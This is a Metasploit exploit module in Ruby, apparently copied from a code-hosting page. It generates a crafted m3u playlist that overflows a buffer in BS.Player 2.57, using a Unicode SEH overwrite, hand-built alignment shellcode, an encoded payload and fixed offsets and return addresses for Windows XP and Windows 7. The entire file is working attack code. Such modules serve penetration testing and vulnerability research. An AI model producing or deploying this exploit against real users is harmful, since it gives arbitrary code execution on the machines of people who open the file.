136 lines
3.6 KiB
Ruby
136 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'BS.Player 2.57 Buffer Overflow (Unicode SEH)',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in BS.Player 2.57. When
|
|
the playlist import is used to import a specially crafted m3u file,
|
|
a buffer overflow occurs allowing arbitrary code execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'C4SS!0 G0M3S ', # Original Exploit
|
|
'Chris Gabriel', # MSF Module
|
|
#Greets: Corelan team for mona.py & awesome tutorials
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '82528' ],
|
|
[ 'EDB', '15934' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
#'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2000,
|
|
'BadChars' => "\x00\x0a\x0d\x1a\x80",
|
|
'DisableNops' => true,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP',
|
|
{
|
|
# pop ecx # pop ebp # ret 0c
|
|
# ASLR: False, Rebase: False, SafeSEH: False
|
|
# v2.5.7.1051 (bsplayer.exe)
|
|
'Ret' => "\x2f\x49",
|
|
'Offset' => 4102,
|
|
'Padding' => 1879
|
|
}
|
|
],
|
|
[ 'Windows 7',
|
|
{
|
|
# pop ecx # pop ebp # ret 0c
|
|
# ASLR: False, Rebase: False, SafeSEH: False
|
|
# v2.5.7.1051 (bsplayer.exe)
|
|
'Ret' => "\x2f\x49",
|
|
'Offset' => 4102,
|
|
'Padding' => 1931
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jan 07 2010',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
nseh = "\x61\x42"
|
|
|
|
align = ''
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x58" # POP EAX
|
|
align << "\x6d" # PAD
|
|
align << "\x50" # PUSH EAX
|
|
align << "\x6d" # PAD
|
|
align << "\xc3" # RET
|
|
|
|
enc = framework.encoders.create('x86/unicode_mixed')
|
|
register_to_align_to = "EAX"
|
|
enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
|
|
unicodepayload = enc.encode(payload.encoded, nil, nil, platform)
|
|
|
|
padding = rand_text_alpha_lower(target['Padding'])
|
|
|
|
buffer = "http://"
|
|
buffer << rand_text_alpha_lower(target['Offset'])
|
|
buffer << nseh
|
|
buffer << target['Ret']
|
|
buffer << align
|
|
buffer << padding
|
|
buffer << unicodepayload
|
|
|
|
file_create(buffer)
|
|
|
|
end
|
|
end
|